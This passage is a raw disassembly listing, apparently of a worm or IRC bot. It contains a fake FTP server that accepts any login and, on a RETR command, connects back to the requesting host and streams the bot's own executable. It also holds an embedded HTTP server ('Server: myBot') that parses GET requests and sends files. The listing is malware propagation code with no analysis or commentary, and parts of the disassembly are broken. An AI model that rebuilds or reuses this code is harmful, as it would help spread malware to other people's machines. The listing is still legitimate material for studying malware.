		jb	short loc_403399
		jmp	short loc_4033CD
; ---------------------------------------------------------------------------


loc_4033A7:				; CODE XREF: sub_40318D+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_4033C7
		lea	eax, [ebp+ecx*4+var_224]


loc_4033B3:				; CODE XREF: sub_40318D+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4033B3


loc_4033C7:				; CODE XREF: sub_40318D+21Dj
		dec	[ebp+var_228]


loc_4033CD:				; CODE XREF: sub_40318D+204j
					; sub_40318D+218j
		push	edi
		call	ds:dword_41C1D0	; closesocket
		jmp	loc_403774
; ---------------------------------------------------------------------------


loc_4033D9:				; CODE XREF: sub_40318D+1F8j
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_4118E0
		lea	eax, [ebp+var_AC]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_410930
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40341D
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40375F
; ---------------------------------------------------------------------------


loc_40341D:				; CODE XREF: sub_40318D+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403441
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_40375F
; ---------------------------------------------------------------------------


loc_403441:				; CODE XREF: sub_40318D+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403465
		push	esi
		push	0Dh
		push	offset a215Fuckftpd ; "215 fuckFtpd\n"
		jmp	loc_40375F
; ---------------------------------------------------------------------------


loc_403465:				; CODE XREF: sub_40318D+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403489
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_40375F
; ---------------------------------------------------------------------------


loc_403489:				; CODE XREF: sub_40318D+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_41F5C8
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4034AD
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_40375F
; ---------------------------------------------------------------------------


loc_4034AD:				; CODE XREF: sub_40318D+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4034E8
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4034E8
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40375F
; ---------------------------------------------------------------------------


loc_4034E8:				; CODE XREF: sub_40318D+335j
					; sub_40318D+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403523
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403523
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40375F
; ---------------------------------------------------------------------------


loc_403523:				; CODE XREF: sub_40318D+370j
					; sub_40318D+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403571
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_403561:				; CODE XREF: sub_40318D+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi


loc_403569:				; CODE XREF: sub_40318D+4F3j
		mov	edi, [ebp+arg_0]
		jmp	loc_403762
; ---------------------------------------------------------------------------


loc_403571:				; CODE XREF: sub_40318D+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4035B2
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_403561
; ---------------------------------------------------------------------------


loc_4035B2:				; CODE XREF: sub_40318D+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403685
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_4118E0
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_410A7F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_410A7F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_410590
		push	[ebp+var_8]
		lea	eax, [ebp+var_F8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_41050B
		add	esp, 44h
		lea	eax, [ebp+var_F8]
		push	10h
		push	esi
		push	eax
		call	sub_4118C9
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_41050B
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_403569
; ---------------------------------------------------------------------------


loc_403685:				; CODE XREF: sub_40318D+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403740
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_403790
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_403736
		call	sub_40380D
		cmp	eax, 1
		jnz	loc_403762
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	ds:dword_42F3F0
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset dword_41F40C
		push	eax
		call	sub_41050B
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_403727
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_40E367
		add	esp, 14h


loc_403727:				; CODE XREF: sub_40318D+575j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_407E0E
		pop	ecx
		jmp	short loc_403762
; ---------------------------------------------------------------------------


loc_403736:				; CODE XREF: sub_40318D+52Fj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40375F
; ---------------------------------------------------------------------------


loc_403740:				; CODE XREF: sub_40318D+50Dj
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403762
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_40375F:				; CODE XREF: sub_40318D+28Bj
					; sub_40318D+2AFj ...
		push	edi
		call	ebx	; send


loc_403762:				; CODE XREF: sub_40318D+3DFj
					; sub_40318D+539j ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_410590
		add	esp, 0Ch


loc_403774:				; CODE XREF: sub_40318D+160j
					; sub_40318D+189j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_4032BB
		jmp	loc_403280
; ---------------------------------------------------------------------------


loc_403786:				; CODE XREF: sub_40318D+11Ej
		push	1
		pop	eax


loc_403789:				; CODE XREF: sub_40318D+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40318D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403790	proc near		; CODE XREF: sub_40318D+525p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_41C198	; WSAStartup
		push	0
		push	1
		push	2
		call	ds:dword_41C1C0	; socket
		push	[ebp+arg_0]
		mov	ds:dword_42F3EC, eax
		mov	[ebp+var_10], 2
		call	ds:dword_41C1B8	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_41C1BC	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ds:dword_42F3EC
		call	ds:dword_41C1C4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403808
		push	ds:dword_42F3EC
		call	ds:dword_41C1D0	; closesocket
		call	ds:dword_41C194	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_403808:				; CODE XREF: sub_403790+60j
		push	1
		pop	eax
		leave
		retn
sub_403790	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40380D	proc near		; CODE XREF: sub_40318D+531p

var_1037B	= byte ptr -1037Bh
var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	near ptr 3D0000h
		or	[ebp+var_1037B], 0FFh
		push	offset aRb	; "rb"
		push	eax
		call	sub_411B4E
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4038A4
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_403888
		push	edi
		mov	edi, 400h


loc_403850:				; CODE XREF: sub_40380D+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_411A46
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	ds:dword_42F3EC
		call	ds:dword_41C1CC	; send
		push	1
		call	ds:dword_41C058	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_403850
		pop	edi


loc_403888:				; CODE XREF: sub_40380D+3Bj
		push	esi
		call	sub_4119F0
		pop	ecx
		push	ds:dword_42F3EC
		call	ds:dword_41C1D0	; closesocket
		call	ds:dword_41C194	; WSACleanup
		push	1
		pop	eax


loc_4038A4:				; CODE XREF: sub_40380D+35j
		pop	esi
		leave
		retn
sub_40380D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038A7	proc near		; DATA XREF: seg000:0040532Do
					; seg000:0040D909o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_410BE0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_410590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	ds:dword_430794	; ntohs
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	ds:dword_430810	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_403C92
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	ds:dword_4358E4[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	ds:dword_4307C0	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_403C92
		push	7FFFFFFFh
		push	edi
		call	ds:dword_4307BC	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_403C92
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_43082C	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_403C92
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40397E:				; CODE XREF: sub_4038A7+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	ds:dword_43077C	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_403C8D
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_4039B4:				; CODE XREF: sub_4038A7+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	ds:dword_43069C	; __WSAFDIsSet
		test	eax, eax
		jz	loc_403C78
		cmp	esi, [ebp+var_C]
		jnz	short loc_403A36
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_430824	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_403C78
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_403A08
		lea	edx, [ebp+var_134]


loc_4039FC:				; CODE XREF: sub_4038A7+15Fj
		cmp	[edx], eax
		jz	short loc_403A08
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_4039FC


loc_403A08:				; CODE XREF: sub_4038A7+14Dj
					; sub_4038A7+157j
		cmp	ecx, ebx
		jnz	short loc_403A25
		cmp	ebx, 40h
		jnb	short loc_403A25
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_403A25:				; CODE XREF: sub_4038A7+163j
					; sub_4038A7+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_403C78
		mov	[ebp+var_8], eax
		jmp	loc_403C78
; ---------------------------------------------------------------------------


loc_403A36:				; CODE XREF: sub_4038A7+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_410590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_410590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	ds:dword_4307AC	; recv
		test	eax, eax
		jg	short loc_403AC9
		push	esi
		call	ds:dword_430828	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_403C78
		lea	eax, [ebp+var_134]


loc_403A88:				; CODE XREF: sub_4038A7+1EBj
		cmp	[eax], esi
		jz	short loc_403A99
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_403A88
		jmp	loc_403C78
; ---------------------------------------------------------------------------


loc_403A99:				; CODE XREF: sub_4038A7+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_403ABD
		lea	eax, [ebp+ecx*4+var_134]


loc_403AA7:				; CODE XREF: sub_4038A7+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_403AA7


loc_403ABD:				; CODE XREF: sub_4038A7+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_403C78
; ---------------------------------------------------------------------------


loc_403AC9:				; CODE XREF: sub_4038A7+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_410590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_410B60
		add	esp, 10h
		test	eax, eax
		jbe	loc_403C78


loc_403AF7:				; CODE XREF: sub_4038A7+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_403B9C
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_410AE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403B70
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_410B60
		cmp	eax, 5
		pop	ecx
		jbe	short loc_403B70
		mov	eax, offset asc_41F6B0 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_410AE0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_410AE0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_411C60
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_411B70
		add	esp, 10h
		jmp	short loc_403B87
; ---------------------------------------------------------------------------


loc_403B70:				; CODE XREF: sub_4038A7+27Fj
					; sub_4038A7+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_41F6AC ; "\r\n"
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403BBB


loc_403B87:				; CODE XREF: sub_4038A7+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_410590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_403B9C:				; CODE XREF: sub_4038A7+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_410B60
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_403AF7
		jmp	loc_403C78
; ---------------------------------------------------------------------------


loc_403BBB:				; CODE XREF: sub_4038A7+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_403C05
		lea	eax, [ebp+var_134]


loc_403BC7:				; CODE XREF: sub_4038A7+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_403BD8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_403BC7
		jmp	short loc_403C08
; ---------------------------------------------------------------------------


loc_403BD8:				; CODE XREF: sub_4038A7+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_403BFC
		lea	eax, [ebp+ecx*4+var_134]


loc_403BE6:				; CODE XREF: sub_4038A7+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_403BE6


loc_403BFC:				; CODE XREF: sub_4038A7+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_403C08
; ---------------------------------------------------------------------------


loc_403C05:				; CODE XREF: sub_4038A7+318j
		mov	esi, [ebp+var_4]


loc_403C08:				; CODE XREF: sub_4038A7+32Fj
					; sub_4038A7+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_403C71
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_410B60
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_410B60
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_403C71
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_43082C	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	loc_403E84
		add	esp, 14h
		jmp	short loc_403C78
; ---------------------------------------------------------------------------


loc_403C71:				; CODE XREF: sub_4038A7+369j
					; sub_4038A7+38Fj
		push	esi
		call	ds:dword_430828	; closesocket


loc_403C78:				; CODE XREF: sub_4038A7+11Dj
					; sub_4038A7+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_4039B4
		jmp	loc_40397E
; ---------------------------------------------------------------------------


loc_403C8D:				; CODE XREF: sub_4038A7+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_403C92:				; CODE XREF: sub_4038A7+6Aj
					; sub_4038A7+92j ...
		call	ds:dword_430730	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_41F664
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_403CD8
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40E367
		add	esp, 14h


loc_403CD8:				; CODE XREF: sub_4038A7+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_407E0E
		pop	ecx
		push	edi
		call	ds:dword_430828	; closesocket
		push	[ebp+var_254]
		call	sub_4102D3
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
sub_4038A7	endp ; sp-analysis failed



loc_403D02:				; DATA XREF: seg000:004040CAo
		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_410BE0
		mov	eax, [ebp+8]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp-44Ch]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp-3C8h]
		push	eax
		lea	eax, [ebp-550h]
		push	eax
		call	sub_41050B
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-654h]
		push	eax
		call	sub_41050B
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp-0A4h], edi
		jz	short loc_403D67
		push	offset aTextHtml ; "text/html"
		jmp	short loc_403D6C
; ---------------------------------------------------------------------------


loc_403D67:				; CODE XREF: seg000:00403D5Ej
		push	offset aApplicationOct ; "application/octet-stream"


loc_403D6C:				; CODE XREF: seg000:00403D65j
		lea	eax, [ebp-9Ch]
		push	eax
		call	sub_41050B
		pop	ecx
		lea	eax, [ebp-68h]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 3D0000h
		db	2Eh
		lea	eax, [ebp-20h]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 3D0000h
		add	ecx, [ebp-427C1FBBh]
		dec	eax
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------
		call	dword ptr [eax-73h]
		inc	ebp
		cwde
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		jnz	short loc_403DE5
		lea	eax, [ebp-9Ch]
		push	eax
		lea	eax, [ebp-1654h]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41050B
		add	esp, 24h
		jmp	short loc_403E06
; ---------------------------------------------------------------------------


loc_403DE5:				; CODE XREF: seg000:00403DC6j
		push	dword ptr [ebp-0B8h]
		lea	eax, [ebp-9Ch]
		push	eax
		lea	eax, [ebp-1654h]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41050B
		add	esp, 28h


loc_403E06:				; CODE XREF: seg000:00403DE3j
		lea	eax, [ebp-1654h]
		push	edi
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp-1654h]
		push	eax
		push	dword ptr [ebp-44Ch]
		call	ds:dword_4307E0	; send
		cmp	[ebp-0A4h], edi
		jnz	short loc_403E46
		lea	eax, [ebp-550h]
		push	eax
		push	dword ptr [ebp-44Ch]
		call	sub_4047B6
		pop	ecx
		pop	ecx
		jmp	short loc_403E63
; ---------------------------------------------------------------------------


loc_403E46:				; CODE XREF: seg000:00403E2Ej
		lea	eax, [ebp-654h]
		push	eax
		push	edi
		push	dword ptr [ebp-44Ch]
		lea	eax, [ebp-550h]
		push	eax
		call	sub_404134
		add	esp, 10h


loc_403E63:				; CODE XREF: seg000:00403E44j
		push	dword ptr [ebp-44Ch]
		call	ds:dword_430828	; closesocket
		push	dword ptr [ebp-0B4h]
		call	sub_4102D3
		pop	ecx
		push	edi
		call	near ptr 3D0000h
		fstp	qword ptr [edi+5Eh]


loc_403E84:				; CODE XREF: sub_4038A7+3C0p
		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp-210h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_410590
		mov	eax, [ebp+10h]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_403EBA
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_403EC3
; ---------------------------------------------------------------------------


loc_403EBA:				; CODE XREF: seg000:00403EB0j
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_403EC3:				; CODE XREF: seg000:00403EB8j
		lea	eax, [ebp-10Ch]
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		lea	eax, [ebp-10Ch]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_410B60
		test	eax, eax
		pop	ecx
		jbe	short loc_403F5E
		mov	dword ptr [ebp+10h], 2


loc_403EEE:				; CODE XREF: seg000:00403F5Cj
		lea	eax, [ebp-10Ch]
		push	eax
		call	sub_410B60
		cmp	[ebp+10h], eax
		pop	ecx
		jnb	short loc_403F2E
		cmp	byte ptr [ebp+esi-10Ch], 25h
		jnz	short loc_403F2E
		cmp	byte ptr [ebp+esi-10Bh], 32h
		jnz	short loc_403F2E
		cmp	byte ptr [ebp+esi-10Ah], 30h
		jnz	short loc_403F2E
		inc	esi
		mov	byte ptr [ebp+ebx-210h], 20h
		inc	esi
		add	dword ptr [ebp+10h], 2
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F2E:				; CODE XREF: seg000:00403EFEj
					; seg000:00403F08j ...
		mov	al, [ebp+esi-10Ch]
		cmp	al, 2Fh
		jnz	short loc_403F3E
		push	5Ch
		pop	eax
		jmp	short loc_403F41
; ---------------------------------------------------------------------------


loc_403F3E:				; CODE XREF: seg000:00403F37j
		movsx	eax, al


loc_403F41:				; CODE XREF: seg000:00403F3Cj
		mov	[ebp+ebx-210h],	al


loc_403F48:				; CODE XREF: seg000:00403F2Cj
		lea	eax, [ebp-10Ch]
		inc	esi
		inc	dword ptr [ebp+10h]
		push	eax
		inc	ebx
		call	sub_410B60
		cmp	esi, eax
		pop	ecx
		jb	short loc_403EEE


loc_403F5E:				; CODE XREF: seg000:00403EE5j
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+0Ch]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_41050B
		lea	eax, [ebp-314h]
